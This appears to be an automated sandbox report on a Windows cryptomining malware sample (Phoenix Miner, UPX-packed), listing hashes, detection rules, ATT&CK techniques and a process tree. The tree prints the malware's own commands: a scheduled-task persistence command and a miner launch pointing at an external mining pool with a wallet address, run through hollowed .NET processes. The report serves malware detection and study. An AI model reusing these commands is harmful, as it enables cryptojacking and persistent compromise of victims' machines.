63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90

Resubmissions

09/12/2022, 19:46

221209-ygxwxsea859

06/12/2022, 22:31

221206-2fvxqadb5v9

06/12/2022, 22:22

221206-2abxnace4t9

Analysis

max time kernel
52s
max time network
180s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
06/12/2022, 22:22

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General

Target
63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
Size 891KB
Sample221206-2abxnace4t
SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
MD5 cc101b016deadd7d54994e282e89a2ec
SHA1 c0f8324e2ab8d197e897d8c20cb27359dc92ac8a
SHA512 1584cc57ced08d8673af119c256df8a9e9430b546c768bd7965c9d481a73d14d2acca9c72446c54e777aff995f849e1ee210c2bfe92098763a381f2105687f3a
SSDEEP 12288:NoCNfsZC/u4aOXa+ZQYJpnFCmkSN0/F1:NoCFsiZqeJr4F
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

miner upx

Malware Config

Signatures

Detectes Phoenix Miner Payload 4 IoCs

miner

resource	yara_rule
behavioral2/memory/3176-132-0x0000000140829C40-mapping.dmp	miner_phoenix
behavioral2/memory/3176-135-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/3176-136-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix
behavioral2/memory/3176-137-0x0000000140000000-0x000000014082B000-memory.dmp	miner_phoenix

Executes dropped EXE 1 IoCs

pid	Process
4764	OZWS.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3176-131-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3176-133-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3176-134-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3176-135-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3176-136-0x0000000140000000-0x000000014082B000-memory.dmp	upx
behavioral2/memory/3176-137-0x0000000140000000-0x000000014082B000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3176	RegSvcs.exe
3176	RegSvcs.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4764 set thread context of 1340	4764	OZWS.exe	74
PID 4764 set thread context of 3176	4764	OZWS.exe	77

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4804	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3952	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4764	OZWS.exe
4764	OZWS.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
Token: SeDebugPrivilege	4764	OZWS.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 3496	2700	63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe	66
PID 2700 wrote to memory of 3496	2700	63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe	66
PID 3496 wrote to memory of 3952	3496	cmd.exe	68
PID 3496 wrote to memory of 3952	3496	cmd.exe	68
PID 3496 wrote to memory of 4764	3496	cmd.exe	69
PID 3496 wrote to memory of 4764	3496	cmd.exe	69
PID 4764 wrote to memory of 4168	4764	OZWS.exe	70
PID 4764 wrote to memory of 4168	4764	OZWS.exe	70
PID 4168 wrote to memory of 4804	4168	cmd.exe	72
PID 4168 wrote to memory of 4804	4168	cmd.exe	72
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 4764 wrote to memory of 1340	4764	OZWS.exe	74
PID 1340 wrote to memory of 1000	1340	vbc.exe	75
PID 1340 wrote to memory of 1000	1340	vbc.exe	75
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77
PID 4764 wrote to memory of 3176	4764	OZWS.exe	77

C:\Users\Admin\AppData\Local\Temp\63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe
"C:\Users\Admin\AppData\Local\Temp\63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7B11.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:3952
- - C:\ProgramData\root\OZWS.exe
    "C:\ProgramData\root\OZWS.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OZWS" /tr "C:\ProgramData\root\OZWS.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4168
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OZWS" /tr "C:\ProgramData\root\OZWS.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4804
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x979e2ea1C1BCfd64418f80D32218e26951A5090d.Rig001 -coin etc -log 0
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1340
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        5⤵
        
        PID:1000
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x979e2ea1C1BCfd64418f80D32218e26951A5090d.Rig001 -coin etc -log 0
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

OZWS.exe

Path C:\ProgramData\root\OZWS.exe
Size 891KB
SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
MD5 cc101b016deadd7d54994e282e89a2ec
SHA1 c0f8324e2ab8d197e897d8c20cb27359dc92ac8a
SHA512 1584cc57ced08d8673af119c256df8a9e9430b546c768bd7965c9d481a73d14d2acca9c72446c54e777aff995f849e1ee210c2bfe92098763a381f2105687f3a
SSDEEP 12288:NoCNfsZC/u4aOXa+ZQYJpnFCmkSN0/F1:NoCFsiZqeJr4F
MD5 SHA1 SHA512 SSDEEP

Submit Download

OZWS.exe

Path C:\ProgramData\root\OZWS.exe
Size 891KB
SHA256 63280649d4a12229157f421ee6ba5fdcc4a9217343f1b5edb43aa87efaa94e90
MD5 cc101b016deadd7d54994e282e89a2ec
SHA1 c0f8324e2ab8d197e897d8c20cb27359dc92ac8a
SHA512 1584cc57ced08d8673af119c256df8a9e9430b546c768bd7965c9d481a73d14d2acca9c72446c54e777aff995f849e1ee210c2bfe92098763a381f2105687f3a
SSDEEP 12288:NoCNfsZC/u4aOXa+ZQYJpnFCmkSN0/F1:NoCFsiZqeJr4F
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp7B11.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp7B11.tmp.bat
Size 137B
SHA256 54155823a9d27e493f49d3c20cb635660225731463c6498970ea041e06a7a624
MD5 cf0996d0b7a4d90744d78c090f0719a1
SHA1 1b8c2aeb6aaa9dc0344569c686e5fcb71bc5b371
SHA512 0ab5bd3a0f276179149cf8649267db61e5bedd85241b9b4ef923870a240aa20fe74d6c7c82670f82f720a02a0374df4cad34652f30f2faa0524d7442fd2c947c
MD5 SHA1 SHA512

Submit Download

memory/1340-130-0x0000000140000000-0x00000001400C6000-memory.dmp

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memory/1340-128-0x0000000140000000-0x00000001400C6000-memory.dmp

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memory/1340-127-0x0000000140000000-0x00000001400C6000-memory.dmp

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memory/1340-125-0x0000000140000000-0x00000001400C6000-memory.dmp

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memory/2700-116-0x0000000000FF0000-0x00000000010D4000-memory.dmp

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memory/3176-133-0x0000000140000000-0x000000014082B000-memory.dmp

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memory/3176-131-0x0000000140000000-0x000000014082B000-memory.dmp

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memory/3176-134-0x0000000140000000-0x000000014082B000-memory.dmp

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memory/3176-135-0x0000000140000000-0x000000014082B000-memory.dmp

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memory/3176-136-0x0000000140000000-0x000000014082B000-memory.dmp

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memory/3176-137-0x0000000140000000-0x000000014082B000-memory.dmp

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